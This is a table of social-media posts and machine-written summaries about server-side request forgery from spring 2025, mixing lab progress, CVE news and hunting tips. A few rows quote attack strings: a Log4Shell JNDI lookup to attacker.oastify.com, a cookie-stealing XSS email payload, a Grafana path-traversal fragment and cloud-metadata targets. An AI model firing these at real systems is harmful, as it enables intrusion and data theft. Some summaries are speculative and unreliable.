| 2025-06-08 2025 | I completed the Web Security Academy lab: SSRF with blacklist-based input filter. This was fun and surprisingly easy #cybersecurity #portswigger #SSRF @WebSecAcademy @ireteeh @Cyblackorg portswigger.net/web-security/s intermediate | The content discusses completing a Web Security Academy lab on SSRF with a blacklist-based input filter, finding it fun and surprisingly easy. The post includes hashtags related to cybersecurity and mentions of PortSwigger, Web Security Academy, and other relevant accounts. The link provided likely leads to additional information or resources related to the lab completion. |
| 2025-06-08 2025 | @sushicomabacate Já o SSRF permite que o invasor manipule a aplicação para realizar requisições HTTP maliciosas em nome do servidor acessando recursos internos da rede que não estão expostos publicamente. Isso pode comprometer serviços de banco de dados ou APIs internas. #SSRF beginner | The content discusses SSRF (Server-Side Request Forgery), where attackers manipulate applications to make malicious HTTP requests on behalf of the server, accessing internal network resources not publicly exposed. This vulnerability can compromise internal database services or APIs. The post highlights the risks associated with SSRF attacks and provides a link for further information. |
| 2025-06-06 2025 | Day 18 Full-Time Bug Bounty - Learned some cool stuff in JavaScript today starting to really get how things work behind the scenes. - Found a possible SSRF on a public H1 program hope its not a dupe Total Report Payouts: $0 #BugBounty #SSRF beginner | Day 18 of full-time bug bounty work involved learning about JavaScript intricacies and discovering a potential SSRF on a public H1 program. The individual is gaining a deeper understanding of how things operate behind the scenes. The total report payouts for the day were $0. #BugBounty #SSRF. |
| 2025-06-06 2025 | SSRF Cloud Metadata 1 URL input not properly validated 2 Attacker sends request to 3 Server-side request fetches cloud credentials 4 Credentials used to access internal services or take over infra #SSRF Cloud hack #BugBounty beginner | The content discusses a Server-Side Request Forgery (SSRF) vulnerability where the URL input is not validated correctly. An attacker can exploit this by sending a request, allowing them to retrieve cloud credentials through a server-side request. These credentials can then be used to access internal services or take control of the infrastructure. The post highlights the potential for SSRF to lead to a cloud hack and mentions it as a target for Bug Bounty programs. |
| 2025-06-05 2025 | New video out! Bypassed SSRF filters using internal routing logic. Blacklist? Useless. Accessed internal services via crafted requests. Watch the full breakdown youtu.be/4WOlWBXLI-A #SSRF #WebSecurity #BugBounty #InfoSec #Hacking #CyberSecurity intermediate | A new video demonstrates bypassing SSRF filters using internal routing logic, rendering blacklists ineffective. The video showcases accessing internal services through crafted requests. The full breakdown is available at the provided link. The content focuses on SSRF, web security, bug bounty, infosec, hacking, and cybersecurity. |
| 2025-06-05 2025 | SSRF Hunting 101: Can you make the server request itself (or internal resources) via a URL? Try manipulating parameters meant for external APIs. If it works you've got SSRF! #SSRF #WebSecurity beginner | The content discusses SSRF (Server-Side Request Forgery) hunting by attempting to make the server request itself or internal resources via a URL. It suggests manipulating parameters intended for external APIs to test for SSRF vulnerabilities. If successful, it indicates the presence of SSRF, a security risk. The post emphasizes the importance of web security and provides a basic guide for identifying SSRF issues. #SSRF #WebSecurity. |
| 2025-06-04 2025 | Our researchers discovered a critical SSRF XSS chain: 1.SSRF abused to fetch internal JS endpoint 2.Injected payload reflected in an internal admin panel 3.Admin loads it via advanced | Researchers found a significant security vulnerability involving SSRF and XSS. The exploit chain involved abusing SSRF to access an internal JS endpoint, injecting a payload that appeared in an internal admin panel, and then being loaded by an admin. This chain highlights the potential risks of SSRF and XSS vulnerabilities when combined, showcasing how attackers can exploit these weaknesses to gain unauthorized access to internal systems. |
| 2025-06-04 2025 | #Cycatz #cybersecurity Blind SSRF More.... shorturl.at/K2uOY #cyberattacksurfacemanagement #darkwebmonitoring #SurfaceWebMonitoring #mobilesecurity #emailsecurity #cloudsecurity #governanceriskcompliance #vendorriskmanagement #brandmonitoring #incedentreport #bug #SSRF beginner | The content discusses various aspects of cybersecurity, including Blind SSRF, cyber attack surface management, dark web monitoring, mobile security, email security, cloud security, governance risk compliance, vendor risk management, brand monitoring, incident reporting, bugs, and SSRF. It emphasizes the importance of these elements in maintaining robust cybersecurity measures. The provided link likely leads to more detailed information on these topics. |
| 2025-06-04 2025 | New Grafana Exploit CVE-2025-4123 XSS SSRF Open redirect Account Hijack A full exploit chain that breaks Grafana wide open! Watch the full breakdown: youtu.be/tf8_Tuj0huQ?si #BugBounty #CyberSecurity #Grafana #XSS #SSRF #CVE2025 intermediate | A new Grafana exploit CVE-2025-4123 has been discovered, involving XSS, SSRF, open redirect, and account hijack vulnerabilities. The exploit chain poses a significant threat to Grafana security. A detailed breakdown of the exploit is available in a video. This discovery is relevant to Bug Bounty programs, Cybersecurity, and Grafana users. The exploit's severity is highlighted by the use of multiple attack vectors. |
| 2025-06-03 2025 | Web Security Alert Explore critical vulnerabilities: SSRF: Exploits server requests to access internal systems. Open Redirects: Facilitate phishing by redirecting users to malicious sites. Dive deeper: #CyberSecurity #WebSecurity #SSRF beginner | The content warns about critical web security vulnerabilities: SSRF exploits server requests to access internal systems, while Open Redirects can facilitate phishing by redirecting users to malicious sites. The message encourages further exploration of cybersecurity topics like SSRF. |
| 2025-06-02 2025 | 2 #Grafana users: Versions before 12.0.1 allow reflected XSS open redirects leading to #SSRF risks. Update ASAP (Reference: CVE-2025-4123). news | Users of Grafana versions prior to 12.0.1 are at risk of reflected XSS and open redirects, which can lead to SSRF vulnerabilities. It is crucial to update to the latest version immediately to mitigate these security risks. The vulnerability is identified as CVE-2025-4123. |
| 2025-06-02 2025 | Esri patches a critical SSRF vulnerability in Portal for ArcGIS allowing unauthenticated remote attackers to bypass protections and access internal services. #Esri #ArcGIS #SSRF #Cybersecurity securityonline.info/critical-ssrf- news | Esri addressed a severe SSRF vulnerability in Portal for ArcGIS, enabling unauthenticated remote attackers to evade security measures and reach internal services. The patch is crucial for preventing unauthorized access. #Esri #ArcGIS #SSRF #Cybersecurity. |
| 2025-06-01 2025 | Hunting for SSRF? Try injecting URLs in parameters! Look for endpoints that fetch data. Test with internal IPs (127.0.0.1) or your own server to see if they're vulnerable. #SSRF #WebSecurity beginner | The content discusses hunting for Server-Side Request Forgery (SSRF) vulnerabilities by injecting URLs in parameters of endpoints that fetch data. It suggests testing with internal IPs like 127.0.0.1 or your own server to check for vulnerability. The focus is on identifying and exploiting SSRF issues for improved web security. #SSRF #WebSecurity. |
| 2025-05-31 2025 | SSRF hunting? Try manipulating URLs in your target app! See if you can force it to make requests to internal resources or external IPs. Watch out for redirects & error messages! #SSRF #WebSecurity beginner | The content suggests using URL manipulation to hunt for Server-Side Request Forgery (SSRF) vulnerabilities in a target application. By manipulating URLs, one can attempt to make the application send requests to internal resources or external IPs. It advises being cautious of redirects and error messages while conducting this testing for SSRF vulnerabilities. The post emphasizes the importance of web security and includes relevant hashtags like #SSRF and #WebSecurity. |
| 2025-05-31 2025 | Great explanation of CSRF vs SSRF Key difference: CSRF is happening more in the browser and directly to the main server. SSRF is happening on the backend (behind the scenes) from one server to the other #infosec #CyberSecurity #csrf #ssrf @snyksec youtu.be/rgDq_Bi64OM?si beginner | The content provides a clear explanation of the key difference between CSRF and SSRF. CSRF occurs more in the browser, affecting the main server directly, while SSRF takes place on the backend between servers. The post emphasizes the importance of understanding these distinctions for information security and cybersecurity. The content is shared with relevant hashtags and a link to a video for further explanation. |
| 2025-05-30 2025 | New Article Alert! Explore UNC2903 Cloud Intrusion TTPs and how they exploited Adminer SSRF for metadata harvesting. Stay informed stay secure. Read now: #CyberWarfareLabs #CloudSecurity #UNC2903 #SSRF #InfoSec #TTPAnalysis #Article news | The content alerts readers to a new article discussing UNC2903 Cloud Intrusion TTPs and their use of Adminer SSRF for metadata harvesting. It emphasizes staying informed and secure in the realm of cybersecurity. The article covers topics like CyberWarfareLabs, Cloud Security, InfoSec, and TTP Analysis. Readers are encouraged to read the full article for more insights and information. |
| 2025-05-30 2025 | Critical CVE-2025-4967 in Esri Portal for ArcGIS (v11.4 & earlier) allows unauthenticated SSRFCVSS score: 9.1. Patch now to secure your systems. Details #cybersecurity #infosec #ArcGIS #SSRF #CVE20254967 news | A critical CVE-2025-4967 vulnerability in Esri Portal for ArcGIS (v11.4 & earlier) enables unauthenticated SSRF with a CVSS score of 9.1. Immediate patching is advised to enhance system security. For more information, visit the provided link. #cybersecurity #infosec #ArcGIS #SSRF #CVE20254967 |
| 2025-05-29 2025 | Day 6 Bug Bounty Focused mostly on recon (same target) Learned more about SSRF with real-world case studies #bugbounty #SSRF #infosec beginner | Day 6 of bug bounty focused on reconnaissance on the same target. The focus was on learning more about Server-Side Request Forgery (SSRF) through real-world case studies. The content highlights the importance of understanding SSRF in the context of bug bounty programs and information security. #bugbounty #SSRF #infosec. |
| 2025-05-29 2025 | High severity #SSRF in mcp-markdownify-server (CVE-2025-5276) lets attackers access internal resources via Markdownify.get(). Patch now! Details: radar.offseq.com/threat/cve-202 #OffSeq #cybersecurity #infosec news | A high severity Server-Side Request Forgery (SSRF) vulnerability in mcp-markdownify-server (CVE-2025-5276) allows attackers to access internal resources through Markdownify.get(). Immediate patching is advised. More information available at radar.offseq.com/threat/cve-2025-5276. #OffSeq #cybersecurity #infosec. |
| 2025-05-29 2025 | Just dropped NovaLure! My new Python OAST scanner that automates specific Blind SSRF & other out-of-band checks using Interactsh. Great for bug bounty hunters! #OAST #SSRF #BugBounty #InfoSec #PythonTool #CyberSecurity intermediate | NovaLure is a new Python OAST scanner designed for automating Blind SSRF and out-of-band checks using Interactsh. It is beneficial for bug bounty hunters and focuses on cybersecurity. The tool aims to enhance security testing processes and improve efficiency in bug hunting activities. #OAST #SSRF #BugBounty #InfoSec #PythonTool #CyberSecurity. |
| 2025-05-26 2025 | SSRF Hunting 101: Try injecting URLs into parameters! Look for image uploads URL shorteners or anything that fetches data from a provided address. Test with internal IPs (127.0.0.1) cloud metadata endpoints and your own server. #SSRF #WebSecurity beginner | The content discusses SSRF hunting tips, suggesting injecting URLs into parameters to exploit vulnerabilities. It advises testing with internal IPs, cloud metadata endpoints, and personal servers. Key points include looking for image uploads, URL shorteners, and data fetching mechanisms. The content emphasizes the importance of web security and using these techniques to identify and prevent SSRF attacks. #SSRF #WebSecurity |
| 2025-05-26 2025 | Understand critical web vulnerabilities and how to prevent them. Read now techoral.com/security/web-v #CyberSecurity #WebSecurity #XSS #CSRF #SSRF #OWASP #BugBounty #InfoSec #WebDev beginner | The content discusses the importance of understanding critical web vulnerabilities like XSS, CSRF, and SSRF, and how to prevent them. It emphasizes the significance of cybersecurity, web security, and provides resources for further reading. The content also mentions OWASP, Bug Bounty programs, and the intersection of information security and web development. It encourages readers to visit techoral.com/security/web-v for more information on these topics. |
| 2025-05-25 2025 | Revised the SSRF module on TryHackMe! Gaining a deeper understanding of Server-Side Request Forgery. #tryhackme #SSRF #websecurity #bugbounty #infosec via @realtryhackme beginner | The content discusses the revision of the SSRF module on TryHackMe, emphasizing gaining a deeper understanding of Server-Side Request Forgery. The post highlights the importance of web security, bug bounty programs, and information security. It encourages individuals to engage with the updated module to enhance their knowledge and skills in this area. The content is shared via TryHackMe's official platform, aiming to educate and raise awareness about SSRF vulnerabilities and defenses. |
| 2025-05-24 2025 | CVE-2025-4123: Critical Grafana vulnerability! Path traversal Open Redirect XSS/SSRF chain CVSS: 7.6 | No auth required POC: /public/..%2F%.. Full demo: #CVE2025 #Grafana #BugBounty #SSRF #XSS news | A critical Grafana vulnerability, CVE-2025-4123, allows path traversal, leading to Open Redirect, XSS, and SSRF chain. The CVSS score is 7.6, and no authentication is needed. A proof of concept is provided at /public/..%2F%.. Full demo available. This issue is significant for Grafana security and is being highlighted with relevant hashtags like #CVE2025, #Grafana, #BugBounty, #SSRF, and #XSS. |
| 2025-05-23 2025 | #Cycatz #cybersecurity SSRF & Account Takeover More... #cyberattacksurfacemanagement #darkwebmonitoring #SurfaceWebMonitoring #mobilesecurity #emailsecurity #cloudsecurity #riskregister #vendorriskmanagement #brandmonitoring #incedentreport #SSRF #ATO beginner | The content discusses #Cycatz #cybersecurity focusing on Server-Side Request Forgery (SSRF) and Account Takeover (ATO). It also mentions various cybersecurity aspects like cyber attack surface management, dark web monitoring, mobile security, email security, cloud security, risk register, vendor risk management, brand monitoring, and incident reporting. The post seems to highlight the importance of these cybersecurity measures in protecting against threats like SSRF and ATO. |
| 2025-05-23 2025 | APT Labs Challenge #3 is LIVE! UNC2903: Metadata Abuse via Adminer (SSRF Attack) a FREE hands-on challenge for serious offensive security learners. Access now: #CyberSecurity #SSRF #InfinityLearning #APTChallenge #CyberWarFareLabs #RedTeamOps intermediate | APT Labs Challenge #3, UNC2903, focuses on Metadata Abuse via Adminer (SSRF Attack). It is a free hands-on challenge for serious offensive security learners. Participants can access the challenge now. The content emphasizes cybersecurity, SSRF, Infinity Learning, APTChallenge, CyberWarFareLabs, and RedTeamOps. |
| 2025-05-22 2025 | How is this usually avoided #bugbounty #ssrf #hackerone intermediate | The content discusses avoiding security vulnerabilities like Server-Side Request Forgery (SSRF) in bug bounty programs, particularly on platforms like HackerOne. It highlights the importance of preventing such issues and hints at strategies or techniques to mitigate them. The post likely provides insights or tips on how to steer clear of SSRF vulnerabilities in bug bounty programs, emphasizing the significance of security measures in these contexts. |
| 2025-05-22 2025 | How does your app fetch resources? CWE-918 (SSRF) lets attackers trick your server into fetching malicious URLs putting internal systems at risk. Train your team against SSRF the full CWE Top 25: ow.ly/19kN50VWx1c #CWE #SSRF #appsec #devsecops #cybersecurity beginner | The content highlights the risk of attackers using Server-Side Request Forgery (SSRF) to trick servers into fetching malicious URLs, potentially compromising internal systems. It emphasizes the importance of training teams to defend against SSRF and provides a link to the full CWE Top 25 list for cybersecurity awareness. The post encourages awareness of app security, development operations, and cybersecurity measures. |
| 2025-05-22 2025 | .svc.cluster.local is the new 169.254.169.254 #bugbounty #ssrf intermediate | The content highlights that *.svc.cluster.local is being identified as a new target similar to 169.254.169.254 for bug bounty programs and SSRF (Server-Side Request Forgery) vulnerabilities. This information suggests that *.svc.cluster.local may be exploited in a manner similar to how 169.254.169.254 has been targeted in the past. The post likely contains further details or insights on this emerging issue. |
| 2025-05-22 2025 | New CVE : CVE-2025-4123 Grafana open redirect XSS/SSRF via path traversal Detect it now with Nuclei template #infosec #cve #nuclei #grafana #ssrf #xss #openredirect news | A new CVE, CVE-2025-4123, highlights a vulnerability in Grafana that allows open redirect, XSS, and SSRF via path traversal. The issue can be detected using Nuclei template. The post emphasizes the importance of addressing this security concern in Grafana. #infosec #cve #nuclei #grafana #ssrf #xss #openredirect. |
| 2025-05-22 2025 | SSRF Hunting 101: Force the server to make requests to internal resources (like localhost or internal IPs) via URL parameters. If it echoes the response you've likely found SSRF! #SSRF #WebSecurity beginner | The content discusses SSRF (Server-Side Request Forgery) hunting by manipulating URL parameters to force the server to make requests to internal resources like localhost or internal IPs. If the server echoes the response, it indicates a potential SSRF vulnerability. This technique is essential for identifying security flaws and enhancing web security. #SSRF #WebSecurity. |
| 2025-05-21 2025 | Lorenzo Gallegos presents 'How to Write Secure Code' July 25th at Nebraska.Code(). #SecureCode #OWASP #SQLi #XSS #CSRF #SSRF #Nebraska #TechConf @Mattermost @Bluum_Tech @PapaJohns @scooterscoffee @Runza @HyVee #IT @caseysgenstore @midlandcode @OmahaSSUG beginner | Lorenzo Gallegos will discuss 'How to Write Secure Code' at Nebraska.Code() on July 25th. The presentation will cover topics like #SecureCode, #OWASP, #SQLi, #XSS, #CSRF, and #SSRF. The event is relevant for those interested in IT security and will feature sponsors like @Mattermost, @Bluum_Tech, @PapaJohns, @scooterscoffee, @Runza, @HyVee, @caseysgenstore, @midlandcode, and @OmahaSSUG. Attendees can gain insights into writing secure code and network with industry professionals. |
| 2025-05-21 2025 | Lorenzo Gallegos presents 'How to Write Secure Code' July 25th at Nebraska.Code(). #SecureCode #OWASP #SQLi #XSS #CSRF #SSRF #Nebraska #TechnologyConference @605SQL @blendtweets @bankeasy_FBT @DEFCON402 @OmahaMakerGroup @wedontcoast @Ameritas beginner | Lorenzo Gallegos will be presenting 'How to Write Secure Code' at Nebraska.Code() on July 25th. The event will cover topics such as secure coding practices, OWASP, SQLi, XSS, CSRF, and SSRF. The presentation will take place at a technology conference in Nebraska, with various organizations tagged in the announcement. Attendees can expect insights on writing secure code and protecting against common vulnerabilities. |
| 2025-05-21 2025 | #Cycatz #cybersecurity Full-Blown SSRF More... shorturl.at/XpwHj #cyberattacksurfacemanagement #darkwebmonitoring #SurfaceWebMonitoring #emailsecurity #cloudsecurity #governanceriskcompliance #riskregister #vendorriskmanagement #brandmonitoring #incedentreport #ssrf beginner | The content discusses various cybersecurity topics including SSRF, cyber attack surface management, dark web monitoring, email security, cloud security, governance risk compliance, risk register, vendor risk management, brand monitoring, and incident reporting. It emphasizes the importance of these aspects in maintaining cybersecurity and provides a link for further information. |
| 2025-05-17 2025 | @niksthehacker used the built-in screenshot generation to trigger SSRF and redirected the target to a crafted domain that captured internal data as a screenshot. #BugBounty #BBV #DEFCON #AWS #SSRF intermediate | @niksthehacker leveraged the built-in screenshot feature to exploit SSRF, redirecting the target to a controlled domain to capture sensitive internal data as a screenshot. This technique was used in a bug bounty scenario and shared on social media with relevant hashtags like #BugBounty, #BBV, #DEFCON, #AWS, and #SSRF. |
| 2025-05-17 2025 | SSRF Hunting 101: Spot SSRF by manipulating URLs & parameters! Try injecting internal IPs (127.0.0.1 169.254.169.254) or internal hostnames where the server fetches data. See what secrets you can grab! #SSRF #WebSecurity beginner | The content discusses SSRF (Server-Side Request Forgery) hunting techniques. It suggests manipulating URLs and parameters to identify SSRF vulnerabilities by injecting internal IPs (127.0.0.1, 169.254.169.254) or internal hostnames. The goal is to uncover secrets by exploiting SSRF. The post emphasizes the importance of web security and provides a link for further information. |
| 2025-05-16 2025 | SonicWall confirmó una vulnerabilidad de tipo Server-Side Request Forgery (SSRF) usando URLs codificadas Afecta a dispositivos SMA 1000 (incluyendo 6210 7200 7210 8200v y CMS). #SonicWall #SSRF news | SonicWall has confirmed a Server-Side Request Forgery (SSRF) vulnerability using encoded URLs affecting SMA 1000 devices (including 6210, 7200, 7210, 8200v, and CMS). This vulnerability poses a security risk. #SonicWall #SSRF. |
| 2025-05-16 2025 | Urgent: SonicWall SMA1000 series vulnerability (CVE-2025-40595) allows remote exploitation via encoded URLs. Update firmware to 12.4.3-02963 immediately. #CyberSecurity #SonicWall #SSRF thedailytechfeed.com/critical-vulne news | An urgent vulnerability (CVE-2025-40595) in SonicWall SMA1000 series allows remote exploitation via encoded URLs. Immediate action is needed to update firmware to version 12.4.3-02963 to mitigate the risk. This issue highlights the importance of cybersecurity measures and protection against Server-Side Request Forgery (SSRF) attacks. For more information, visit thedailytechfeed.com/critical-vulne. |
| 2025-05-16 2025 | 2/2 | Check it out here: tryhackme.com/room/ssrfqi?ut #tryhackme via @RealTryHackMe #ssrf #hacksei beginner | The content is promoting a room on TryHackMe related to Server-Side Request Forgery (SSRF) with a shortened link provided. It encourages users to check it out on the TryHackMe website. The post includes hashtags for TryHackMe, SSRF, and Hacksei. The content is shared via the RealTryHackMe Twitter account. |
| 2025-05-16 2025 | 1/2 | Happy to complete the #SSRF vuln room on #tryhackme. MAN I LOVE THIS ROOM! I mean I've a long road ahead but I WILL MASTER THIS VULN! Lessons Learned: 1. Types of SSRF. 2. Ways to find SSRF vulns. 3. SSRF defends & ways to bypass them. 4. Deny/Allow List Open Redirect. beginner | The content discusses completing an SSRF vulnerability room on TryHackMe, expressing enthusiasm and determination to master the vulnerability. Key takeaways include learning about types of SSRF, methods to identify SSRF vulnerabilities, defenses against SSRF attacks, and ways to bypass them. Additionally, it mentions Deny/Allow List and Open Redirect as important concepts. The individual is excited about the progress made and the knowledge gained in this area of cybersecurity. |
| 2025-05-16 2025 | SSRF hunting? Force your server to make requests to internal resources (like localhost or internal IPs) via manipulated URLs/parameters. If it echoes back you've likely found a vulnerability! #SSRF #WebSec intermediate | This content discusses SSRF (Server-Side Request Forgery) hunting by manipulating URLs/parameters to force a server to make requests to internal resources like localhost or internal IPs. If the server echoes back the requested information, it may indicate a vulnerability. The post emphasizes the importance of testing for SSRF vulnerabilities in web security. #SSRF #WebSec. |
| 2025-05-16 2025 | SonicWall SMA1000 Vulnerability Let Attackers to Exploit Encoded URLs To Gain Internal Systems Access Remotely news 2 min read | Advisory SNWLID-2025-0010 details CVE-2025-40595, a critical SSRF vulnerability in SonicWall SMA1000 Work Place interface affecting firmware 12.4.3-02925 and earlier. This flaw, with a CVSS v3 score of 7.2, allows unauthenticated attackers to exploit encoded URLs to force the appliance into making unauthorized requests, potentially gaining access to internal systems. A hotfix, version 12.4.3-02963 and higher, is available on MySonicWall and is crucial as no workaround exists. → cybersecuritynews.com |
| 2025-05-15 2025 | #Cycatz #cybersecurity Exceptional SSRF Finding More... #cyberattacksurfacemanagement #SurfaceWebMonitoring #mobilesecurity #emailsecurity #cloudsecurity #governanceriskcompliance #riskregister #vendorriskmanagement #brandmonitoring #incedentreport #SSRF intermediate | The content discusses an exceptional Server-Side Request Forgery (SSRF) finding related to cybersecurity. It also mentions various cybersecurity topics such as cyber attack surface management, web monitoring, mobile security, email security, cloud security, governance risk compliance, risk register, vendor risk management, brand monitoring, and incident reporting. The content seems to emphasize the importance of SSRF and various cybersecurity measures. |
| 2025-05-13 2025 | Server-Side Request Forgery (SSRF) A web app flaw where servers are tricked into making internal requests via user input exposing sensitive systems. #azefox #azefoxinnovations #CyberSecurity #SSRF #WebSecurity #InfoSec #EthicalHacking beginner | The content discusses Server-Side Request Forgery (SSRF), a web app vulnerability where servers are manipulated into making internal requests through user input, potentially revealing sensitive systems. The post emphasizes the importance of cybersecurity, web security, and ethical hacking in addressing SSRF risks. The hashtags #azefox, #azefoxinnovations, #CyberSecurity, #SSRF, #WebSecurity, #InfoSec, and #EthicalHacking are used to categorize and promote the content. |
| 2025-05-13 2025 | New Blog Alert! Learn the Best 7 Ways to Prevent SSRF Vulnerability in React.js with real-world coding examples security tips. Read more: #ReactJS #CyberSecurity #WebSecurity #SSRF #JavaScript #OWASP #InfoSec #DevSecOps #WebDev #Pentesting #AppSec intermediate | A new blog discusses 7 ways to prevent SSRF vulnerability in React.js with coding examples and security tips. The content covers React.js security measures, real-world coding practices, and tips to enhance web security. The blog addresses SSRF vulnerability prevention, JavaScript security, OWASP guidelines, information security, DevSecOps practices, web development, pentesting, and application security. Readers can find detailed insights and recommendations on safeguarding React.js applications against SSRF threats. |
| 2025-05-12 2025 | Finally got this one published! #cwis #ssrf news | The author is excited to announce the publication of their work, using hashtags #cwis and #ssrf. The link provided likely directs to the published content. |
| 2025-05-12 2025 | Frankenplating at cwis! #cwis #ssrf #ribs intermediate | The content mentions "Frankenplating at cwis" and includes hashtags like #cwis, #ssrf, and #ribs. It seems to refer to a topic related to combining different elements or components, possibly in a creative or unconventional way. The link provided may lead to more detailed information on the topic. |
| 2025-05-12 2025 | New Writeup Alert! "SSRF via PDF Generator? Yes and It Led to EC2 Metadata Access" by Abhijeet Kumawat is now live on IW! Check it out here: #infosec #hacking #ssrf #bugbounty #ssrfattack intermediate | Abhijeet Kumawat's new writeup on SSRF via a PDF generator leading to EC2 metadata access is now live on IW. The content discusses a security vulnerability related to SSRF attacks. It highlights the potential risks and implications of exploiting this vulnerability. Readers interested in information security, hacking, bug bounty programs, and SSRF attacks can find valuable insights in the writeup. The link provided directs users to the detailed content for further exploration. |
| 2025-05-10 2025 | A critical SSRF flaw in Microsoft Power Apps (CVE-2025-47733) puts internal data at risk. No auth needed. High CVSS: 9.1. Read how to protect your org now: #CyberSecurity #SSRF #Microsoft #InfoSec news | A critical SSRF flaw in Microsoft Power Apps (CVE-2025-47733) poses a high risk to internal data without authentication. The vulnerability has a CVSS score of 9.1, emphasizing its severity. Organizations are urged to take immediate steps to protect their data and systems against potential exploitation. The content highlights the importance of cybersecurity measures and provides guidance on safeguarding against SSRF vulnerabilities in Microsoft products. #CyberSecurity #SSRF #Microsoft #InfoSec. |
| 2025-05-08 2025 | Completed Server-Side Vulnerabilities Learning Path at PortSwigger Thrilled to finish PortSwigger's Server-Side Vulnerabilities path gaining insight into web system exploits. #WebSecurity #CyberSec #PortSwigger #Learning #SQLInjection #SSRF #Auth #Vulns beginner | The content highlights the completion of the Server-Side Vulnerabilities Learning Path at PortSwigger, expressing excitement at gaining insights into web system exploits like SQL injection, SSRF, and authentication vulnerabilities. The individual is thrilled to finish the learning path and shares hashtags related to web security, cybersecurity, learning, and PortSwigger. |
| 2025-05-07 2025 | SSRF hunting? Try manipulating URLs the server fetches! Look for input fields that dictate server-side requests (e.g. image URLs file imports). Can you make it access internal resources or external sites? #SSRF #WebSecurity intermediate | The content discusses SSRF hunting by manipulating URLs that servers fetch. It suggests looking for input fields controlling server-side requests like image URLs or file imports. The goal is to see if these manipulations can access internal resources or external sites, emphasizing the importance of web security. The content encourages exploring these techniques for identifying and mitigating SSRF vulnerabilities. |
| 2025-05-06 2025 | Day 21/30 Web Fundamentals File Inclusion Intro to SSRF Tough but rooms today! Hands-on with LFI RFI & internal web request attacks. Learning never stops on @TryHackMe #TryHackMe #WebHacking #CyberSecurity #Day21 #SSRF #FileInclusion #InfoSec #THM #LearningInPublic beginner | Day 21/30 of Web Fundamentals covers File Inclusion and an introduction to SSRF. Participants engage in challenging activities involving LFI, RFI, and internal web request attacks on @TryHackMe. The learning journey continues with a focus on cybersecurity and web hacking. #TryHackMe #CyberSecurity #SSRF #FileInclusion #InfoSec #THM #LearningInPublic. |
| 2025-05-05 2025 | Hackers are exploiting email input fields to launch XSS SSRF and header injection attacks. Ensure robust validation and sanitization to protect your applications. #CyberSecurity #XSS #SSRF #EmailSecurity thedailytechfeed.com/hackers-exploi news | Hackers are targeting email input fields to carry out XSS, SSRF, and header injection attacks. Robust validation and sanitization measures are crucial to safeguard applications. Ensuring proper security protocols can help prevent these cyber threats. #CyberSecurity #XSS #SSRF #EmailSecurity. |
| 2025-05-05 2025 | Hackers Leveraging Email Input Fields to Exploit Vulnerabilities Ranging from XSS to SSRF news 2 min read | Analysis of email input field vulnerabilities reveals exploitation techniques for Cross-Site Scripting (XSS), Server-Side Request Forgery (SSRF), and email header injection. Attackers leverage crafted email addresses containing XSS payloads, exploit outbound requests made during email validation to target internal endpoints or cloud metadata, and inject CRLF characters into headers for malicious email manipulation. Mitigations include strict RFC822-compliant validation, context-aware sanitization, CRLF filtering, and restricting outbound requests. → cybersecuritynews.com |
| 2025-05-05 2025 | Hackers Exploit Email Fields to Launch XSS and SSRF Attacks news 2 min read | Library for securing applications against XSS and SSRF attacks originating from email input fields. It details how attackers exploit improperly validated email addresses, including payloads like `user@example.com?callback=<img src=x onerror=stealCookies()>` for DOM-based XSS and `user@https://internal-server.local` for SSRF. The library emphasizes the need for RFC822-compliant validation using tools such as `email-validator` for Python, output encoding, SSRF protection via network call restrictions and allowlists, and Content Security Policy (CSP) to prevent these vulnerabilities. → gbhackers.com |
| 2025-05-05 2025 | #TodayILearned #ssrf AI is so good for educating myself: Q: provide SSRF basic example - Server side request forgery A: beginner | The content discusses using AI to learn about SSRF (Server Side Request Forgery). The focus is on educating oneself about SSRF through AI assistance. The post mentions providing a basic example of SSRF and includes a link for further reference: https://ift.tt/oPMUNsT. |
| 2025-05-04 2025 | Test for SSRF: Can your server be tricked into making requests to internal/external resources you don't intend? Try manipulating URLs/parameters to point to internal IPs (127.0.0.1 192.168.x.x) or your own controlled server. See what happens! #SSRF #WebSecurity intermediate | The content discusses testing for Server-Side Request Forgery (SSRF) by manipulating URLs/parameters to make servers unknowingly access internal/external resources. It suggests trying to point requests to internal IPs like 127.0.0.1 or 192.168.x.x, or a controlled server to see if the server can be tricked. This test helps identify vulnerabilities in web security related to SSRF. #SSRF #WebSecurity. |
| 2025-05-03 2025 | The sneaky vuln letting attackers trick servers into hitting internal resources! Poor input validation (e.g. URLs) can expose databases or localhost. Seen in a form I analyzedcheck the pic! Prevent it: validate inputs whitelist domains. Thoughts? #Cybersecurity #SSRF intermediate | The content discusses a vulnerability that allows attackers to trick servers into accessing internal resources by exploiting poor input validation, such as URLs. The vulnerability, known as Server-Side Request Forgery (SSRF), can expose databases or localhost. To prevent this, it is recommended to validate inputs and whitelist domains. The post emphasizes the importance of cybersecurity measures to protect against SSRF attacks. |
| 2025-05-02 2025 | CYBERSECURITY ALERT! Join our FREE class on: OWASP Top 10: SSRF Risks Sat May 3 | 10AM GMT1 | Zoom Trainer: Amos Ologboshere Join: #Cybersecurity #SSRF #OWASP #FreeTraining beginner | A free cybersecurity class on OWASP Top 10: SSRF Risks is being offered on Saturday, May 3 at 10AM GMT+1 via Zoom. The trainer is Amos Ologboshere. The class aims to educate participants on security risks related to Server-Side Request Forgery (SSRF). Interested individuals can join the session by using the provided link. The event is promoted with hashtags #Cybersecurity, #SSRF, #OWASP, and #FreeTraining. |
| 2025-05-02 2025 | 1/ Un atacante envía esto a tu app: $ {jndi:ldap://attacker.oastify.com} (sin espacio real) Tu servidor lo procesa Y sin mostrar nada hace una conexión externa. Información filtrada sin que nadie lo note. #Log4Shell #SSRF #BlindRCE intermediate | The content warns about a security vulnerability where an attacker can send a malicious payload to a server, causing it to make an external connection without displaying anything, potentially leaking sensitive information. This exploit involves the Log4Shell, SSRF, and BlindRCE techniques. The payload example is $ {jndi:ldap://attacker.oastify.com}. It emphasizes the risk of data leakage without detection. |
| 2025-04-30 2025 | SSRF in Oracle Services SSRF tricks your backend into leaking internal data. Web3 targets: Oracle price feeds NFT metadata Bridge endpoints Example: ... Exposes cloud creds attacker controls signers or nodes. #SSRF #DeFi intermediate | The content discusses Server-Side Request Forgery (SSRF) vulnerabilities in Oracle Services, which can be exploited to leak internal data. Web3 targets such as Oracle price feeds, NFT metadata, and Bridge endpoints are at risk. An example is provided where SSRF exposes cloud credentials, allowing attackers to control signers or nodes. The post emphasizes the importance of addressing SSRF vulnerabilities in the context of decentralized finance (#DeFi). |
